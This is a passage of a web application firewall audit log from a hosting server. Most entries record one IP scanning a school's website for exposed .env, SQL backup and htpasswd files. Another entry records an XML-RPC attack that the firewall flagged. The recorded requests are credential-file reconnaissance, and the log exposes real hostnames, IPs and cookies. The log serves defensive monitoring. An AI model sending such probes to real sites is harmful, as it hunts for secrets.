[unique_id "aE9OLx-kH31pk4mNbsVHfgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027823118634 647820 (- - -) Stopwatch2: 1750027823118634 647820; combined=2184, p1=320, p2=1780, p3=0, p4=0, p5=84, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84decb10-Z-- --5c3d7613-A-- [16/Jun/2025:04:20:38.902547 +0530] aE9OPnwHSJGQ1A1pR0qYtgAAAAY 185.177.72.210 35490 127.0.0.1 7081 --5c3d7613-B-- GET /:5601/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c3d7613-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f04c9788aab958502d4f9d4ca099164a1750027838; expires=Sun, 15 Jun 2025 23:50:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c3d7613-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/admin/.env"] [unique_id "aE9OPnwHSJGQ1A1pR0qYtgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027838240479 662160 (- - -) Stopwatch2: 1750027838240479 662160; combined=1853, p1=373, p2=1352, p3=0, p4=0, p5=128, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c3d7613-Z-- --b56b6405-A-- [16/Jun/2025:04:20:50.458833 +0530] aE9OSVxTdrwJSUMoZvGzDQAAAAc 185.177.72.210 58826 127.0.0.1 7081 --b56b6405-B-- GET /:8880/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b56b6405-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2801de0fa0b8c7d1bd7dbcb03c52eb8c1750027850; expires=Sun, 15 Jun 2025 23:50:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b56b6405-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/front-empathy/.env"] [unique_id "aE9OSVxTdrwJSUMoZvGzDQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027849734383 724513 (- - -) Stopwatch2: 1750027849734383 724513; combined=1972, p1=355, p2=1536, p3=0, p4=0, p5=80, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b56b6405-Z-- --a4e0d16a-A-- [16/Jun/2025:04:20:52.462003 +0530] aE9OS1xTdrwJSUMoZvGzEAAAAAc 185.177.72.210 59008 127.0.0.1 7081 --a4e0d16a-B-- GET /:5000/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4e0d16a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d29639c70c4c2ac83d58d409504b8cd1750027852; expires=Sun, 15 Jun 2025 23:50:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4e0d16a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.docker/.env"] [unique_id "aE9OS1xTdrwJSUMoZvGzEAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027851784800 677276 (- - -) Stopwatch2: 1750027851784800 677276; combined=1519, p1=315, p2=1116, p3=0, p4=0, p5=87, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4e0d16a-Z-- --eef2b30d-A-- [16/Jun/2025:04:20:54.433365 +0530] aE9OTbBfUm2FdhH5voERBQAAAAU 185.177.72.210 59270 127.0.0.1 7081 --eef2b30d-B-- GET /src/main/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eef2b30d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14ad0c0bde9d92116f256ae459f88d5e1750027854; expires=Sun, 15 Jun 2025 23:50:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eef2b30d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/main/front-end/.env"] [unique_id "aE9OTbBfUm2FdhH5voERBQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027853776793 656634 (- - -) Stopwatch2: 1750027853776793 656634; combined=1907, p1=376, p2=1437, p3=0, p4=0, p5=94, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eef2b30d-Z-- --106e2903-A-- [16/Jun/2025:04:20:57.027250 +0530] aE9OT_NXjUHq-Wm7C_8W3QAAAAQ 203.56.140.245 59456 127.0.0.1 7081 --106e2903-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 203.56.140.245 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 380 user-agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9688.1185 Mobile Safari/537.36 accept: */* accept-language: en-US,en;q=0.5 content-type: text/plain;charset=UTF-8 origin: https://www.retaxis.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://www.retaxis.com/ accept-encoding: gzip, deflate, br cookie: _sfs_id=62ee2bc64b5ba0249a9166ef11bbabf51750027848; _ga_PETSZCXF5J=GS2.1.s1750027854$o1$g0$t1750027854$j60$l0$h0; _ga=GA1.1.819562639.1750027854; _fbp=fb.1.1750027855671.680810294748430667 --106e2903-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=3ku41u5bcu8fdlb6u9qmenfa3j; expires=Sat, 13 Sep 2025 22:50:56 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --106e2903-E-- --106e2903-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9OT_NXjUHq-Wm7C_8W3QAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9OT_NXjUHq-Wm7C_8W3QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027855947886 1079466 (- - -) Stopwatch2: 1750027855947886 1079466; combined=3823, p1=562, p2=2998, p3=120, p4=35, p5=108, sr=148, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache WebApp-Info: "default" "1750027854" "-" Engine-Mode: "DETECTION_ONLY" --106e2903-Z-- --973c9e64-A-- [16/Jun/2025:04:21:00.474979 +0530] aE9OU8alTF-TysO2fMOAbwAAAAE 185.177.72.210 59622 127.0.0.1 7081 --973c9e64-B-- GET /secure/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --973c9e64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=369b61e920862657e628723554308a3c1750027860; expires=Sun, 15 Jun 2025 23:51:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --973c9e64-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secure/db_backup.sql"] [unique_id "aE9OU8alTF-TysO2fMOAbwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027859829459 645604 (- - -) Stopwatch2: 1750027859829459 645604; combined=1947, p1=333, p2=1484, p3=0, p4=0, p5=129, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --973c9e64-Z-- --069ec167-A-- [16/Jun/2025:04:21:01.465516 +0530] aE9OVB-kH31pk4mNbsVHlQAAAAo 185.177.72.210 59660 127.0.0.1 7081 --069ec167-B-- GET /:9000/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --069ec167-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=973e897ce2a14bd5c08e86ff64802edc1750027861; expires=Sun, 15 Jun 2025 23:51:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --069ec167-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/pub/.env"] [unique_id "aE9OVB-kH31pk4mNbsVHlQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027860806243 659338 (- - -) Stopwatch2: 1750027860806243 659338; combined=1753, p1=373, p2=1286, p3=0, p4=0, p5=93, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --069ec167-Z-- --06ae9667-A-- [16/Jun/2025:04:21:04.579514 +0530] aE9OV3wHSJGQ1A1pR0qYyQAAAAY 185.177.72.210 59772 127.0.0.1 7081 --06ae9667-B-- GET /htpasswd/htpasswd.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --06ae9667-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=794a4721edf664abc42561007291c7fa1750027864; expires=Sun, 15 Jun 2025 23:51:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --06ae9667-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/htpasswd/htpasswd.bak"] [unique_id "aE9OV3wHSJGQ1A1pR0qYyQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027863831060 748518 (- - -) Stopwatch2: 1750027863831060 748518; combined=1890, p1=331, p2=1452, p3=0, p4=0, p5=106, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --06ae9667-Z-- --0220ba74-A-- [16/Jun/2025:04:21:04.945734 +0530] aE9OWLV9qKUox3X8g1YlCQAAAAg 128.199.112.101 59790 127.0.0.1 7081 --0220ba74-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0220ba74-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0220ba74-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9OWLV9qKUox3X8g1YlCQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027864010817 934974 (- - -) Stopwatch2: 1750027864010817 934974; combined=2824, p1=479, p2=1963, p3=42, p4=64, p5=173, sr=119, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0220ba74-Z-- --e49c3e49-A-- [16/Jun/2025:04:21:09.876089 +0530] aE9OXR-kH31pk4mNbsVHmQAAAAo 185.177.72.210 59974 127.0.0.1 7081 --e49c3e49-B-- GET /:5601/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e49c3e49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=36598df78d42200a957585296ff763aa1750027869; expires=Sun, 15 Jun 2025 23:51:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e49c3e49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/wp-content/.env"] [unique_id "aE9OXR-kH31pk4mNbsVHmQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027869196468 679698 (- - -) Stopwatch2: 1750027869196468 679698; combined=1967, p1=435, p2=1417, p3=0, p4=0, p5=114, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e49c3e49-Z-- --339e832d-A-- [16/Jun/2025:04:21:19.622755 +0530] aE9OZh-kH31pk4mNbsVHnQAAAAo 185.177.72.210 36650 127.0.0.1 7081 --339e832d-B-- GET /:8181/admin/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --339e832d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eeafba8d5958484175acc6a1e16db55f1750027879; expires=Sun, 15 Jun 2025 23:51:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --339e832d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/admin/.env.production"] [unique_id "aE9OZh-kH31pk4mNbsVHnQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027878970445 652372 (- - -) Stopwatch2: 1750027878970445 652372; combined=2276, p1=542, p2=1639, p3=0, p4=0, p5=95, sr=137, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --339e832d-Z-- --96b14936-A-- [16/Jun/2025:04:21:22.463199 +0530] aE9OaXwHSJGQ1A1pR0qY1gAAAAY 185.177.72.210 47700 127.0.0.1 7081 --96b14936-B-- GET /:5000/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --96b14936-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16bd1c101fed85e9ec1b143ac70f63561750027882; expires=Sun, 15 Jun 2025 23:51:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --96b14936-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/new/.env"] [unique_id "aE9OaXwHSJGQ1A1pR0qY1gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027881802791 660484 (- - -) Stopwatch2: 1750027881802791 660484; combined=1976, p1=386, p2=1489, p3=0, p4=0, p5=101, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --96b14936-Z-- --d8f45673-A-- [16/Jun/2025:04:21:24.422818 +0530] aE9Oa3wHSJGQ1A1pR0qY1wAAAAY 185.177.72.210 47764 127.0.0.1 7081 --d8f45673-B-- GET /Library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d8f45673-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: 